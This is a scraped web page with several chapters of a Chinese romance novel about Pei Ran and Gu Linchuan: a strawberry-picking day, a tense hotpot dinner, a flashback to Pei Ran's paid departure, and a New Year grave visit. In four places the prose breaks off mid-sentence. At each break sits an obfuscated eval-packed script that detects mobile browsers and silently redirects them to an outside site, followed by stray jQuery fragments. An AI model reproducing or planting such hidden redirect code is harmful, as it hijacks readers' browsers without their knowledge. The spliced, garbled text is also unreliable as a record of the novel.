他先是过去同老爷子和枚烨打了招呼,才走到餐桌前,在裴然对面坐下。
早餐是一碗燕麦牛奶粥配上一份南瓜饼,味道很鲜美,吃完后整个人都暖起来了。
粥上卧着一块溏心蛋,裴然拿筷子戳了一下,蛋黄便流了出来,裴然不爱吃这种腥的,但这是别人家,他硬着头皮,打算吃下去。
坐在对面的顾临川拦他,问:“不爱吃?”
“也不是。”裴然下意识否认。
顾临川置若罔闻,把自己的碗往前推了推,“不喜欢给我。”
顾临川似乎嫌他慢,不等裴然动手,便拿了公筷将他碗里的煎蛋夹过来。
裴然欲言又止,“谢谢……”
“感谢的话不用说了。”顾临川摆摆手,“用行动来证明。”
此时,裴然还听不懂这句话的含义。
两个小时之后,晨雾尽散,阳光破开云层倾洒下来,给菜园里的草木镀上一层暖光。
三个年轻人加上枚老爷子,纷纷换上农事专用服,钻进园子里。
顾临川面容冷峻,上身穿着简单的连帽卫衣,袖口随意地挽起,露出腕间的金属表,下身裤脚利落扎进低帮雨靴里,简直与平时的形象截然不同。
裴然见了他,没忍住,扑哧一声笑了出来。
“笑什么?”顾临川面无表情地转过来。
“没笑没笑。”裴然压下嘴角,赶紧摆摆手。
裴然和他装扮一样,头上还多了一顶遮阳帽。
枚老爷子站在三人面前,指点江山地分配任务:“小烨先去把隔壁的越冬菠菜收掉,小顾摘草莓,小然拔萝卜。”
三人一一应下,分别进了不同的地方。
裴然走进萝卜地,畦里萝卜秧长得旺,绿油油的叶子铺在地上,半截白白胖胖的萝卜埋在土里。
裴然戴上手套,先把萝卜叶子拢在手里,随后轻轻扒开周围的泥,最后向外使劲一拔,连萝卜带泥整根拔了出来。
裴然动作轻柔,但熟练之后速度不慢,脚边萝卜越摆越多,很快就拔光了地里的萝卜。
枚老爷子正好过来问他,“小然,弄好了吗?”
裴然把萝卜往身后藏,回答他:“爷爷,可能还要一会儿。”
枚老爷子说:“不着急,累了就歇会儿。”
“我知道了,爷爷。”
等枚老爷子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057477|194889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
离开后,裴然往外探了探脑袋,确认没人注意到这边,便溜到顾临川的菜地里。
“顾临川,你收完了吗?我来帮你了。”裴然小声喊他。
顾临川递给他一个草莓篮,“来得正好,还没有。”
方才进来之前,顾临川便要裴然干完自己的就来帮他,以表早上早饭时的感谢,“不是要谢我吗?拔完萝卜,过来帮我摘草莓,可以吗?”
裴然自然是毫不犹豫地应下,“没问题。”
为了等裴然过来,顾临川甚至还特意慢了点,此刻还剩下一大片草莓没收。
裴然进了草莓地,清甜的果香混着泥土香气扑面而来,鲜红的果实藏在绿叶间,娇俏不已,十分吸引人。
裴然手上提着一个篮子,沿着菜畦一路摘过去,神色投入认真。
顾临川分神用余光偷看他,心里想着裴然终于守信用一回。
裴然摘草莓时发现了一颗特别大特别红的,惊喜地转过头分享:“你快看!”
顾临川走过来,一颗爱心形状的巨型草莓躺在裴然手心,阳光洒进来,衬得裴然整个人很温柔。
他正想说点什么,下一秒,冰冰凉凉的草莓就落到他的掌心,他微微愣神,却见裴然眼底含笑。
“这个送给你。”
顾临川听到自己反问:“为什么要送给我”
裴然也不知道原因,只好说:“它长得很漂亮。”说完他从包里拿出纸巾,递给他:“枚爷爷说,草莓没用药,擦擦灰就可以吃了,你要试试吗?”
“嗯。”顾临川接过纸巾。
爱心草莓是两颗草莓挨在一起长出来的,顾临川咬了一口,酸甜的汁水在嘴巴里爆开。
裴然凑到他眼前,期待地问他:“好吃吗?甜吗?”
“甜。”顾临川如实回答。
裴然满意地笑了笑,继续摘草莓。
过了一会儿,裴然又惊呼一声,他又发现了一颗爱心草莓,只是这一颗要小一些。
他还想送给顾临川,但顾临川说已经吃过了,让他自己尝尝。
于是他擦了擦,咬了一小口,脸上的表情瞬间凝固。
太酸了!
裴然被酸的眼睛都眯起来,“这一颗好难吃。”
“真的吗?”顾临川眸色渐深,盯着他的手,几秒后,状似不经意地从他手里拿过那颗草莓,“我试试。”
裴然吓一跳,赶紧阻止他,连忙拉着他的手臂说:“这是我吃过的。”
但由于太过着急,脚下不知道绊到什么东西,失去重心猛地朝顾临川摔过去。
顾临川反应迅速,搂着他的腰,两人靠在一起,不至于摔得太难看。
“哗啦”一声,草莓散落一地,裴然整个人趴在顾临川身上,嘴唇好死不死地擦过他的唇,只一瞬间,裴然就触电般站起来。
“我我我、我不是故意的。”裴然很苍白地解释着,“我刚刚只是想让你不要吃我吃过的草莓,然后没站稳,不小心就摔倒了。”
顾临川也从地上站起身,拍了拍身上的泥土,“我知道。”说完,他伸出手替裴然拣去头发上蹭上的草莓叶。
滚动的喉结又出现在眼前,裴然紧张的闭上眼睛,脑海里思绪纷然,眼皮都在微微颤抖。
好在,顾临川只是替他摘去叶子,并未做其他事。
21. 第 21 章
总算将草莓摘完,装草莓的篮子整整齐齐地码在地上,裴然怕被人发现,先偷偷溜回了萝卜地里。
来的路上撞见枚烨,打了个招呼。
枚烨盯着他的脸,疑道:“脸怎么这么红?太热了吗?”
“啊哈哈还好,一点点热。”裴然吓一跳,语无伦次的解释,“可能是刚刚过来的路上太阳晒的。”
枚烨点头,没再多问。
两人一起进了草莓棚,裴然装作刚来的样子,惊叹:“这草莓长势真好。”
“是吗?”顾临川不咸不淡地反问他,从框里拿了一个,“尝尝?”
裴然下意识偷瞟一旁的枚烨的反应,心虚地摆摆手,“不用了。”
“你看他做什么?”顾临川啧了一声,把草莓扔进自己嘴里,语气不悦,“不吃算了。”
枚烨低低地笑起来,也不管自己手上是不是沾着泥,走过去轻锤他的肩。
“怎么?你也想吃?”顾临川又拿起一颗。
枚烨倒是不客气,接过草莓就吃,“挺甜。”
说完又俯身在顾临川侧耳,用只有两个人能听见的声音调笑:“草莓不够吃吗,怎么还吃醋?”
顾临川冷着脸睨他,抬手轻轻撞他,“不会说话就闭嘴。”
枚烨装出一副受到重击地模样往后退,随即又恢复正常。
对此,顾临川点评:“演技很假,还有少跟戚贺昀混。”
裴然插不进嘴,只好默默去搬草莓,不知道发生了什么,也不明白顾临川为什么又不高兴了。
他胡思乱想,最终得出一个结论,是因为刚刚他不小心碰到他的唇。
被不喜欢的人吻了,哪怕只是意外,会不高兴也是正常的吧。
裴然在内心安慰自己,片刻,又苦着一张脸,还是好难过。
裴然抱着一箱草莓苦兮兮地走着,冬日里的暖阳似乎把人照蔫了,箱子太大挡住视线,拐弯时没注意被石头绊了一下。
快要摔倒的瞬间,裴然只来得及把草莓护住,然后紧紧闭上眼睛。
意料之外的是,疼痛感并未袭来,腰上被紧紧搂住,身后传来顾临川有些着急的呼吸声。
裴然怔怔地看着他,“谢谢。”
“发什么呆呢?走路都能摔。”顾临川干脆伸手把他怀里的箱子拿走,“专心看前面。”
裴然伸手想拿回来,又怕推搡间碰到顾临川,犹犹豫豫间他已经走远了,在几步之外停下等他。
裴然小跑跟上去,一副受了委屈的模样,低着头。
“裴然,你不高兴。”
顾临川突然出声,语气肯定,盯着裴然的眼睛,“讲实话,不要撒谎。”
刚准备说没有的裴然一噎,不说话了。
顾临川也不着急,就这样慢慢走,等着他开口。
过了好久,裴然才说:“我早上不是故意碰到你的,真的。”
“我没有怪你。”顾临川说。
“那你刚才为什么……”要凶我,剩下的话裴然顿了顿,没好意思讲,觉得太矫情。
未尽的话落到顾临川耳朵里,又完全变了味道。
刚才?刚才他只和枚烨有过交流,勉强称得上是亲密。
难道说,裴然吃醋了?
顾临川眯着眼睛,认真分析刚才的情况,裴然的脸色就是在枚烨靠过来的那一刻变得难看的。
而且裴然解释早上两人摔倒撞到一起的事情,联想到刚刚枚烨恰好凑到他耳边说话,他又顺手打了枚烨一拳。
所有的线索汇集,都指向一个结论,裴然吃醋了,一定是这样的。
顾临川点了点头,越发肯定。
于是,他强压下嘴角,态度有一种不自然的温柔,“就因为这个?下次不会了。”
“嗯?”裴然惊讶于他的态度转变如此之快,苦瓜脸一下愣住了。
顾临川盯着他的脸,很轻地笑了一声,随后揉上他的耳垂:“现在相信了吗?”
裴然简直不敢想象,眼睛睁得很大,总觉得不真实,“我不是在做梦吧?”
顾临川收回手,觉得好笑:“那你掐一下,看看痛不痛。”
说着,裴然就打算掐手心,被顾临川一把拦下。
顾临川颇为无奈,“不是梦。”
“也是,梦里哪有这么真实。”裴然有些激动,“我很高兴。”
“这么傻。”顾临川问他:“高兴什么?”
“就是……很高兴。”裴然词不达意,简直不知道怎么说才好。
顾临川还想说些什么,枚老爷子在远处将他喊走了。
临走前,顾临川叮嘱:“别再摔了,我过去一下。”
裴然点点头,等他离开,这才敢直勾勾地盯他远去的背影。
情绪赤裸裸,毫不掩藏。
哪怕是在国外的那七年,他很少会梦到顾临川,他觉得这是对不守约定的人的惩罚。
他抬手摸了摸耳垂,那里似乎还残留着顾临川手指的温度。
裴然拼命地想记住这些瞬间,以后离别才不至于连回忆都没有。
午饭吃罢,裴然都没有看见顾临川的身影,枚烨说他有事,已经先走了。
裴然点点头,也起身告别。
枚老爷子差人送他,还将早上从菜园收的蔬菜水果统统打包好让他带走。
枚烨送他上车,“爷爷提醒你,药记得按时吃,蔬菜水果也是有机的,对身体好。”
“替我谢谢爷爷。”裴然坐在车里,同他挥手告别,“再见。”
枚烨也挥手:“再见。”
车子缓缓在裴然公寓楼下停下,司机下车来帮他搬果蔬,并礼貌询问是否需要上楼。
裴然道了声谢,拒绝了,自己抱着箱子往楼上走去。
出了电梯,裴然手酸,正打算把箱子放下,从兜里找钥匙,余光却看见门口蹲着一个人。
仔细一看,竟然是顾辰,裴然轻声喊他。
“然哥,你终于回来了。”顾辰赶紧从地上站起来,蹲太久推有些麻了,向前趔趄一下。
“你怎么来了?”裴然赶紧扶住他,让他靠在自己身上。
顾辰指了指地上两个装的满满当当的口袋,笑着说:“和你过周末。”
在英国的时候,裴然平时很忙,周末也总是图书馆和兼职的地方来回跑,好不容易闲下来也是在医院呆着。
后面顾辰实在担忧,便大包小包提着食材到裴然家里去,给裴然做饭吃。
裴然这才注意到地上的东西,仔细看了看,是做火锅的食材。
“等很久了吗?我早上有事出去了。”裴然拿出钥匙开门,“进来吧。”
等腿上的麻意消退了点,顾辰便站直了身体,帮裴然把东西都搬进去。
“然哥,怎么买了这么多水果?”顾辰抱着箱子,问他。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057478|194889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
裴然的声音从厨房传来,“朋友送的,你走之前也拿一些吧,我一个人吃不完。”
顾辰很想问是哪个朋友,但摸了摸鼻尖,又觉得不好打听,于是只说:“行,谢谢然哥。”
顾辰带来的食材几乎都不需要处理,裴然把需要煮的菜和肉都装在盘子里,端到餐桌上,摆得满满当当。
火锅很快便煮沸起来,往上咕噜咕噜冒着泡,两人面对面坐着,腾起的雾气模糊了视线。
顾辰将调好的蘸料递给他,“喏,没加香菜。”
裴然笑着接过,果然只有香油蒜泥,“谢谢,你还记得我的口味。”
“当然。”顾辰见时间差不多,便把肉类先丢下去,拆开桌上的零食,“先吃点别的,垫垫肚子。”
不多时,香味猛地浓烈了几分,不少食物都已经煮熟,顾辰赶紧夹出来,放到裴然的碗里。
裴然尝了尝,眯起眼睛,像只餍足的小猫。
窗外寒风凌冽,屋内却暖意正浓,两人聊着闲话,裴然笑得弯了眼,偶尔碰杯喝一口酒。
“怎么突然想到来找我了?”裴然轻声问他,“快过年了,不在家多陪陪叔叔阿姨吗?”
“然哥,我们都多久没见了,你每天不是忙画稿就是出差,我只能在你家来蹲你了。”顾辰颇为委屈,“而且我爸老是给我安排相亲,我不喜欢。”
“不喜欢什么?”裴然问他,“遇见的女孩不喜欢吗?”
“都不喜欢,我讨厌我爸给我安排这些。”顾辰皱着眉,“感情的事情怎么能这么随便?”
裴然笑了,走过去摸了摸他的头,“也是,我们小辰年纪还小,不着急,总会遇见喜欢的人的。”
“已经遇到了。”顾辰小声地说。
“是哪家姑娘?我认识吗?”裴然又问。
“哎呀,然哥你别问了。”顾辰红着脸,转移话题,“你最近忙什么呢,我去公司也没等到你,在门口也等了很久。”
他今日一早便来了,本来计划吃午饭的,谁知一直等到下午裴然才回家,只好当作晚饭了。
“一些琐事。”裴然轻笑:“你不是去顾氏任职了吗?我以为你也很忙。”
顾辰筷子一顿,问:“然哥你怎么知道的?”
裴然说:“上次去公司,我说我要找顾总,前台问我是哪个顾总,我才知道你也进集团了。”
“那个啊,我爸给我安排的,就是去挂个名,不干事的。”顾辰开玩笑,“公司离开我,就像鱼离开自行车一样。”
裴然被逗笑:“别这样说,既然有这个机会,还是努力去做吧。”
顾辰没当回事,有些敷衍地回:“嗯嗯,我知道的,公司有我哥管着呢,哪里用得上我。”
一口啤酒下肚,顾辰突然意识到有些不对劲。
等等……他哥?顾总?公司?
裴然去了顾氏集团,还是去找顾总,想来不是找他的,也不可能是他爸,那就只能是找他哥。
顾辰一开口,嗓子都发颤,“然哥,你去见我哥了?”
闻言,裴然身子顿时一僵,抬眼对上顾辰复杂的眼眸,一时间说不出话来。
此刻裴然的反应和默认无异,顾辰感觉很荒唐,猛地又灌了一口酒,才说:“你去找他干什么?他已经要结婚了!”
裴然脸色很白,手指不受控制地在颤抖,喉咙发紧:“我知道,我没有打扰他,我只是去还东西。”
22. 第 22 章
裴然呼吸急促,整个人状态很混乱。
顾辰心下也很难受,但还是凑上去,查看他的情况,靠近时裴然下意识偏头,不打算理会他。
顾辰跟着转身,和他面对着,裴然赌气侧身,两人你来我往地好几次,才消停。
“对不起然哥,你不要多想,我不是那个意思。”顾辰懊恼地抓了抓头发,又牵着裴然的手腕,“分开这么多年了,你们既然要断,就断干净一点,现在情况特殊,我不想让你被误会。”
被误会成插足别人感情的小三,这句话顾辰不敢说出来,但言尽于此,大家心知肚明。
裴然很固执地解释,声音强压着,想镇定,但仍旧带上几分哭腔:“我没有想打扰他们,我比谁都希望他幸福。”
当初见面时写下的贺卡:情比金坚,百年好合。他字字真心,没有半分虚情。
既然顾临川什么都不记得,他为什么不能以朋友的身份站在他身边,看着他。
仅此而已,他就很满足了。
“顾辰,我不想跟他分开的,我也不想让他忘记我,但事情已经发生了,我只能接受,我没有办法。”裴然情绪失控,拽着顾辰的衣襟,一字一字地说,“我只想待在他身边,我有什么错!事到如今,你告诉我,我应该怎么办?!”
顾辰把桌上的瓷碗和热油推远,任他发泄,低声说:“然哥,放过自己吧,看看眼前人,好吗?”
裴然见他这副失落模样,情绪更乱,只好掐着自己的掌心,使了劲,痛感让他清醒,也让他迷恋。
“我做了这么多错事,我凭什么放过自己,我咎由自取,我活该。”裴然哭得撕心裂肺,但声音很小,近乎呢喃。
是他突然离开,让顾临川平白受了那么多委屈,是他这么多年了无音讯,让顾临川性情大变。
他有什么资格放过自己。
“不是的,不是这样的。”顾辰抓着他的肩膀,让他看着自己,“当初你不是心甘情愿离开的吗?在国外这么多年,没有我哥,你不是过的好好的吗?为什么不能忘了他重新开始?”
“心甘情愿……是,我是心甘情愿的,没谁逼我,我怪不得任何人。”裴然说。
顾辰仰头看着天花板,心底涌上一股浓烈的后悔和难过,好好的一顿饭,吃成这样,他明明只是想来和裴然说说话而已。
“然哥,你不要这样,我很担心你。”顾辰上前,想把他拥进怀里,但被一把推开。
裴然一个人蜷缩在椅子上,头埋进臂弯里,声音很闷:“让我一个人静静。”
“好。”顾辰抱他的手落了空,最终收回,叹了口气,起身把餐桌收拾了。
裴然头很疼,但可以忍受,他清楚地知道这一次不会进医院。
所以他没有吃药,放任脑神经快要爆炸般剧烈收缩。
他一个人坐在这里发呆,一直到顾辰收拾好一切,来跟他道别时都没有任何反应,像一个没有生机的洋娃娃。
顾辰低声说再见,但没有任何反应,只好轻手轻脚地离开。
外面不知何时落了雨,滴答滴答地砸在地上。
裴然又想起高考出分前的那天。
夏日里的暴雨总是来的又急又猛,他和顾临川一起窝在阳台的摇椅里,雨丝衔来丝丝凉意,赶走夏日的烦闷。
顾临川低头蹭他的脸颊,带着缠绵的吻落在他额头。
“小然,你紧张吗?”
裴然摇摇头:“不紧张。”
顾临川低低地笑起来,把他搂紧了些:“小然是大学霸,一定能考高分。”
两人依偎在摇椅里,在暴雨声中浅浅睡去。
睡醒后,裴然身上披了件外套,身侧已经没有顾临川的身影,他猛地坐起来,着急地寻找。
“顾临川……”他出声喊,声音里带着自己都没察觉到的颤抖。
下一秒,顾临川拿着笔电走进阳台,见他委屈巴巴地坐在那里,顿时把电脑放在一旁,快步过去把人从摇椅里捞出来。
“怎么了?做噩梦了?”顾临川让他两条腿环住他的腰,把他抱得很紧,低声哄着。
裴然最近来一直很恍惚,像是被人夺去心神,顾临川以为他是担心高考分数,便经常宽慰,不论多少分他们都会在一起。
但没有效果,裴然依旧如此。
裴然摇头说没有,双手紧紧环住顾临川的脖颈,把脸埋进去,一刻也不愿分开。
顾临川就这样抱着他坐在床上,打开电脑,跟他说已经可以看到高考分数了。
裴然问他:“你考了多少?”
“七百零八。”顾临川凑上前亲他的脸,眉眼间藏不住地少年恣意,“小然,我能和你一起去首都了。”
裴然笑意很淡,也吻着他的侧脸,“好厉害。”
“小然,你考了多少分?”
“六百二十五。”裴然随便胡诌了一个分数。
这个分数对于艺术生来说,上首都艺术大学足够。
闻言,顾临川很高兴,从床上站起来,钳着裴然的腰把他举起来,高兴地转圈,“太好啦,我们永远也不会分开了!小然是世界上最棒的男朋友,我最爱你!”
直白又浪漫的爱意此刻像利刃一样划破裴然的心,他心在滴血,看着爱人的眼睛,却一句话也说不出来。
仿佛过了很久。
“我也……最爱你。”
裴然闭上眼睛,眼角滑落一滴无人察觉的眼泪。
彼时,裴然已经决定前往英国,所以他格外珍惜这段时光,一秒没有看见顾临川就会焦虑,甚至精神恍惚。
顾临川察觉到他的不对劲,但不知道原因,只是日复一日地陪在爱人身边,以为这样就会好起来。
录取通知书发下来以前,两人没有一刻分开,白日里他们会拥抱,亲吻,夜里他们亲密过后相拥而眠。
顾临川享受着爱人的依赖,食髓知味,那段时光,他仿佛拥有了全世界。
通知书下来的前一天夜里,裴然很主动,也很爱哭,轻了要哭,重了也要哭。
“小然是小哭包。”眼泪太多,他停下动作,把人搂紧,细细吻去脸上的泪。
“顾临川……”裴然嗓子很哑,但仍旧一直在喊他的名字,像是要把他刻进骨头里。
“我在。”顾临川每一声都应下。
第二天清晨,第一缕阳光照进卧室,顾临川没有睁眼,只是先动了动手臂,很轻,没有人躺在他臂弯里。
一瞬间,顾临川清醒过来,看着身旁整洁的空荡荡的床单,上面早已没有温度。
顾临川以为裴然只是早起,便赶紧下楼寻他,但不知道为什么,心里空落落的,很不舒服。
总感觉有什么很重要的东西正在慢慢的离开,永远也找不到了。
他下了楼,厨房餐厅花房,甚至是外院的小院子,都没有裴然的身影。
他有些无措,冲回房间拿起手机给裴然打电话。
“对不起,您
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057479|194889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
所拨打的用户已经关机,请您稍后再拨……”
不死心,他又打了几次,得到的只有机械的女声在重复这段话。
顾临川几句快要站不稳,整个人都像丢了魂魄,完全不明白发生了什么。
明明昨天晚上还真真切切在他怀里的人,为什么会突然消失,电话也不接。
六神无主间,他看到了床头放着的一张粉色便签,上面写着:
恨我吧,对不起。
是裴然的字迹。
拿着便签的手都在颤抖,顾临川红着眼,不肯相信眼前的一切。
“小然,不要恶作剧好不好,我会害怕的……小然你快出来,我给你买最爱的马卡龙好不好……裴然!你凭什么这样对我!”
顾临川暴怒,把房间里一切能砸的能摔的全部破坏掉,唯独那张便签,完全无损。
就在这时,他的手机铃声响了起来。
顾临川顿时露出一点笑意,手足无措地在一片狼藉中找到自己的手机,但来电显示却是顾振东,他父亲。
“什么事。”顾临川疲惫不堪地问。
“裴然的飞机已经起飞了,临走前,他收下了我给的两百万。”顾振东对他说,“是我让他这么做的,至于原因,你们不合适,小打小闹我不管,但你要是认真了,就别怪我插手。”
“你把他怎么了?!”顾临川怒不可遏,手里力气不受控制,险些要将手机捏碎。
“我把他怎么了?呵,你真是我的好儿子。”顾振东愠怒,斥责他,“听不懂吗?我再说一次,他为了前途为了钱,答应了我的条件,离开你了,这就是你视若生命的爱情,在利益面前不堪一击。”
“爸,你把他还给我,我求求你,你是不是威胁他了,他这么爱我不可能这样对我的。”顾临川语气低微,近乎乞求。
他很少叫顾振东爸,毕竟他出了轨,还有私生子,他向来鄙夷这种人,从不认为这是他的父亲。
对面怒不可遏,骤然把电话挂断了挂断,顾临川颓唐地坐在地上,久久不能回神。
此后,他发出的每一条消息,每一通电话,全都石沉大海,他再也没有了裴然的音讯。
他也从逐渐变得消沉阴鸷,任谁来了,都无法将他和以前那个青春肆意的少年联系起来。
裴然的离开,带走了一部分的他,他变得不完整,时常会做噩梦,梦里是裴然愈走愈远的背影,无论他怎么伸手,都无法触碰到。
他想,裴然真的爱过他吗?为什么能这么狠心,把他一个人丢下,为什么一条消息也不回,一通电话也不接?
他们的感情真的在利益面前如此不堪吗?那他们曾经的誓言算什么?他满腔的爱意又算什么?
算他可笑。
那时的顾临川在心里想着。
轰隆——
一声惊雷过后,裴然猛地惊醒过来,闪电闪过,映出裴然汗涔涔的惨白的脸。
脸上一片冰凉,伸手一摸,才发现是眼泪不知不觉流了满脸。
原来只是一场梦。
裴然怔愣着,擦去了脸上的泪,突然感觉到一阵刺骨的寒意,从心脏最深处传来,很快便蔓延到四肢百骸。
他站起身,如幽灵般从客厅回了卧室,一点一点扯过拿被子把自己蒙起来,终于勉强暖和了一点。
后半夜里,他又陷入了深深的梦魇。
一场清醒梦,惹得他很不安宁,但他很多年没有梦见顾临川了,舍不得醒过来。
23. 第 23 章
新年将至,除夕前夜南城被小雨冲刷,洗去旧一年的凡尘与琐碎。
裴然起了大早,穿上厚实棉袄,又老老实实戴上了围巾和手套。
抓上车钥匙,车子一路向南,期间在城郊一家花店稍作停留,片刻抱着一捧马蹄莲出来。
车子最终停在城郊墓地门口,因着除夕,门口来来往往很多人。
皆穿着肃穆,脸上或平静或悲戚的表情,伴随着时不时飘散在空气中的压抑的哭声,让气氛陷入压抑。
裴然抱花的手紧了几分,才缓缓抬步往里走。
不多说站定,微微俯身将花摆好,又拿出手帕轻柔地擦拭着墓碑,手指拂过上面刻的字:慈父裴敬山之墓。
目光触及照片上面如温玉,目含谦和的男人,裴然倏地红了眼眶。
他蹲下身,把额头轻轻抵在冰凉的碑面上,声音压得极低,混着含糊的风声:“爸,我回来了。”
沉默了几秒,他抬手抹了把眼泪,继续说,“这几年没回来看你,对不起。当初走的匆忙,也没来得及再和你说说话。”
他坐下来,就坐在墓碑旁,后背靠着冰冷的石碑,像小时候靠着父亲的脊背。
“妈妈恢复得很好,好几次我去看她,她手指都能动了,医生说今年有机会醒过来。我现在能挣可多钱了,治疗费都不是问题,之前顾叔叔给我的那部分我也快攒好了,年后就还给顾叔叔。”裴然笑了笑,声音却哽着,“爸爸,我是不是很厉害?”
他伸手去抚墓碑,指尖一遍遍描摹父亲的照片,照片里的男人眉眼温和,唇角带着笑,还是记忆里的模样。
“你不是总说,我做的衣服全世界最好看吗?我又给你做了几件,冬天风大,你注意添衣。”
“我在国外挺好的,洋人饭不好吃,但我自己会做……对,你教我的红烧排骨,我都没忘。”
“……”
裴然絮絮叨叨在墓前说了很久,香烧了大半,烟缕绕着墓碑飘向远处。
他站起身,整理了一下衣襟,对着墓碑深深鞠躬,再鞠躬,三鞠躬,每一次弯身,都沉得厉害。
“爸,除夕快乐,明年,我和妈妈一起来看你。”
说完,他转身离开,背影形单影只,抑制不住的眼泪汹涌落下,身后的墓碑,在呼啸的北风里,立得安稳。
随即,在他看不见的身后,墓碑前又落下一束白菊。
来人立在碑前,望着他离去的方向,久久才收回视线,对着墓碑沉声道:“裴叔叔。”
“然哥!”顾辰隔了很远就望见裴然,见他神情恍惚,心脏也跟着缩紧。
自上次争吵后,裴然就开始有意无意的躲着他,一连几天,他去哪里都找不到人。
今日除夕,他笃定裴然一定会来这里,于是开着车在墓园门口等着,果然让他等到。
他抬手将人拥进怀里,低声说:“难过的话,就哭出来吧,我陪着你。”
裴然双手自然下垂,没有力气推开他,好半晌才问:“你来干什么?”
“这几天你总躲着我,是不是还在生我的气啊?”顾辰颇为委屈,撒娇似的蹭着裴然的颈窝。
“没有,工作很忙。”裴然说。
“那你原谅我了吗?”顾辰抓着他的肩,固执地问。
裴然盯着他有几分像顾临川的眉眼,半晌叹了口气,“我没有怪你。”
顾辰如释重负,笑了笑,问他:“然哥,新年有什么安排吗?”
“睡觉。”裴然摇了摇头,裴家的亲戚要初三才去探望,没了工作,他就只剩睡觉可做。
“睡觉?太无聊了吧?”顾辰说:“然哥,跟我一起回家吧?我们一起跨年。”
回家?
裴然眼神复而清明几分,内心涌上一股悲凉。
他已经没有家了。
顾辰见他迟迟不应,只当他是答应了,当即拉着人坐进车里,搓了搓他冰冷的脸,很高兴:“我爸知道你回国了,一直很想见见你。”
“是么。”裴然坐在副驾驶,没什么精神地闭上眼。
“对呀,爸还说你来了要给你包一个很大的红包呢……”
顾辰还在叽叽喳喳地说着,裴然已经歪着头在车里睡着了。
顾辰一转头,轻笑一声,把车载音乐调小了,又降低车速,开得很平稳。
饶是如此,路上还是被一辆路虎别了,顾辰全程忍着怒气,很想挣回一口气,但又顾及着裴然。
对方似乎像猫抓老鼠一般,有意挑衅,控制着距离,也看不清车牌号。
无奈,顾辰只好处处退让,一个拐角处,路虎加快速度扬长而去。
顾辰低声暗骂了一句,又老老实实继续开车。
顾家老宅在城西,占了半座山的西式庄园,车子驶进铁艺大门,绕过草坪和喷泉,才缓缓在主宅停下。
管家已经在候着,见状立马上前,“二少爷,裴少爷。”
顾辰把车钥匙扔给佣人去泊车,闻言笑了笑,一边往里面走一边说:“杨叔,你就叫他裴先生就行,叫少爷他会不习惯的。”
七年时光,顾宅的管家已经不是当年那位,对裴然自然也是陌生,听到这话,忙应下,道了句:“裴先生。”
裴然微微点头示意,下一秒被顾辰拉走。
“然哥,我爸他们应该在后院,走我们去找他。”
“找谁?”低沉的声音从门口传来。
两人应声望去,只见顾临川臂弯里搭着刚脱下的大衣,脚下踩着居家拖鞋,但仍高出两人不少。
走过去的时候看也没看裴然一眼,站在两人面前,浑身透着寒气。
顾辰把裴然往身后推了推,自己上前一步盯着顾临川的视线,“哥,我带然哥去找爸。”
顾临川才像是刚看见裴然,只淡淡瞥了一眼,又移开视线,问顾辰:“今天是什么日子?”
顾辰摸不着头脑,只老实回答:“除夕。”
“这么重要的日子,怎么什么人都往家里带?”顾临川的话像淬了毒的剑,狠狠扎在他心尖。
裴然如坠冰窟,想说的话哽在喉间,说不出来。
顾辰似乎也没料到会是这样的回答,当即愣了愣,“是爸说,想见见然哥……”
“然哥?我怎么不知道他还有一个私生子?”顾临川面无表情,打断他的话。
顾辰又是一愣:“什么意思,哥?”
顾临川没解释,不想多说,转身上了二楼。
等他离开,顾辰才明白那句话什么意思,一瞬间,他藏在身后的手紧了紧,咬紧了牙关,最终还是松开。
“然哥,对不起,是我没处理好,让你受委屈了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057480|194889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
顾辰调整好,低着头,给他道歉。
裴然恍若未闻,脑海里满是那日顾临川摸着他的耳朵对他说下次不会了的画面。
为什么会这样?明明已经答应他了,不会再这么凶……
裴然眼睫轻颤,推开面前的顾辰,低声说:“我想上个洗手间,你先去找顾叔叔好吗?”
顾辰欲言又止,但还是点点头,朝后院走去了。
